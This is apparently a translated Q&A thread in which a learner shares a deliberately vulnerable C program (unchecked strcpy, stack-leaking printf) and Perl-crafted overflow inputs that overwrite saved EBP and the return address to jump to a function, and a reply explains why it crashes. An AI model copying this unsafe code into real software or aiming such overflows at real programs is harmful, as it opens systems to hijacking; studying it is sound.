EBP omite el problema

0

Soy un poco nuevo para explotar el desarrollo utilizando desbordamientos de búfer. Me he encontrado con un código de muestra en un libro al que me refiero, y el código de muestra no se ejecuta correctamente. Aquí está mi código ...

#pragma check_stack(off)

void foo(const char* input)
{
    char buf[10];
    printf("stack is: \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
    strcpy(buf,input);
    printf("%s\n",buf);
    printf("Stack is now:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("Hacked");
}
int main(int argc, char* argv[])
{
    printf("Address of foo is %p\n",foo);
    printf("Address of bar is %p\n",bar);
    if(argc!=2)
    {
        printf("Please supply a string as an argument");
        return -1;
    }
    foo(argv[1]);
    return 0;
}

Compilo mi código usando el conjunto de compiladores MinGW para Windows, y cuando ejecuto el programa desde la línea de comandos, veo salida del contenido de la pila.

  

La dirección de foo es 00401340

     

La dirección de la barra es 0040137D

     

la pila es:

     

00401280

     

0032D000

     

0000001B

     

0060FECC

     

B76EDE61

     

0060FFCC

     

7786D1F0

     

B76EDBA9

     

FFFFFFFE

     

0060FF18

     

004013F0

     

Hola

     

La pila es ahora:

     

00710CFA

     

0032D000

     

0000001B

     

0060FECC

     

6548DE61

     

006F6C6C

     

7786D1F0

     

B76EDBA9

     

FFFFFFFE

     

0060FF18

     

004013F0

Hasta ahora, bien, puedo ver el inicio de mi búfer y también la dirección de retorno de la función, en este caso 0x004013F0 . Además, el EBP se sitúa en 0x0060FF18 . El problema comienza cuando proporciono una entrada que sobrescribe el EBP . Incluso cuando se sobrescribe el EBP , aparece un error y mi programa se bloquea. Mi objetivo principal es sobrescribir la dirección de retorno para obtener la barra de ejecución del programa (). Sobrescribo por la fuerza el EBP y luego también proporciono una entrada que cambia la dirección de retorno a la barra (), la barra se ejecuta, pero mi programa se bloquea. He intentado una secuencia de comandos perl que envía la dirección como entrada compilada. Elaboré mi aporte para que el valor de EBP no cambie.

$arg="AAAAAAAAAAAAAAAAAA"."\x18\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="ydy ".$arg;
system($cmd);

En este caso, la dirección de retorno no se sobrescribe. Pero si cambio la dirección a

$arg="AAAAAAAAAAAAAAAAAA"."\x12\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="sample ".$arg;
system($cmd);

El EBP se sobrescribe y también devuelve la dirección. bar () se ejecuta pero el programa se bloquea. Mis preguntas son:     1. ¿Por qué la corrupción EBP que causa el programa se bloquea? Nunca he sabido que lo hace.     2. ¿Por qué no se sobrescribe la dirección de retorno en el caso 1 de la secuencia de comandos, pero se sobrescribe cuando la entrada creada sobrescribe EBP ?

Sé que es largo, por favor ayúdame. Gracias.

    
pregunta Vinay 24.07.2016 - 13:09
fuente

1 respuesta

0
  
  1. ¿Por qué la corrupción de EBP provoca el bloqueo del programa?
  2.   

El registro EBP (Puntero Base Extendido) apunta a la base del marco de pila de la función actual. Algunos compiladores lo utilizan para encontrar variables locales dentro del marco de pila. Por ejemplo, si tiene dos entradas locales en su función, el compilador podría acceder a ellas con *(ebp - 4) y *(ebp - 8) .

El EBP para la función anterior (es decir, a la que volveremos) se guarda en el marco de pila de la función actual. Este es probablemente el 0x0060ff18 que ves. Si modificamos este EBP guardado, entonces la función a la que volveremos tendrá un EBP no válido y buscará las variables locales en el lugar incorrecto (por ejemplo, ya que *(ebp - 4) ahora apunta a una ubicación diferente).

  
  1. ¿Por qué no se sobrescribe la dirección de retorno?
  2.   

No creo que la dirección de retorno deba sobrescribirse en ninguno de los dos casos, ya que su argumento contiene un byte nulo ( \x00 ) antes de la nueva dirección de retorno. Los bytes nulos se utilizan para terminar cadenas en C, por lo que cualquier carácter después del primer byte nulo se ignorará.

    
respondido por el grc 24.07.2016 - 15:27
fuente

Lea otras preguntas en las etiquetas